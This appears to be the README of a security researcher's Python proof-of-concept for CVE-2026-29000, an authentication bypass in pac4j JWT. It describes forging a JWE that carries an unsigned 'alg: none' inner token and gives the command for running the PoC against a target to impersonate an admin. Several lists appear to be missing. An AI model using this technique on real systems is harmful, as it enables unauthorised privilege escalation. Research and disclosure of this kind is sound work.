
Python proof-of-concept demonstrating an authentication bypass in pac4j JWT by crafting a JWE token with an unsigned inner JWT, allowing privilege escalation without a private key.
Python Proof‑of‑Concept for CVE‑2026‑29000, a critical authentication bypass affecting applications using the pac4j JWT module.
The vulnerability allows attackers to authenticate as arbitrary users by sending a malicious JWE token containing an unsigned PlainJWT (alg: none).
pac4j applications may use the following token flow:
/api/auth/loginDue to incorrect handling of the JWT parsing logic, when the inner token is a PlainJWT (unsigned token):
toSignedJWT() returns nullThis allows an attacker to:
An attacker can:
No private key is required — only the public key exposed via JWKS.
This repository provides a Python PoC that:
Python 3.x
Install dependencies:
pip install jwcrypto requests
python3 poc.py \
--jwks http://target:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
Example output:
=== Malicious JWE Token ===
eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwiY3R5IjoiSldUIn0...
Use it as:
Authorization: Bearer <TOKEN>
This repository is provided for educational and research purposes only. Do not use this code against systems without proper authorization.
Ali Hussainzada Application Security Researcher | Bug Hunter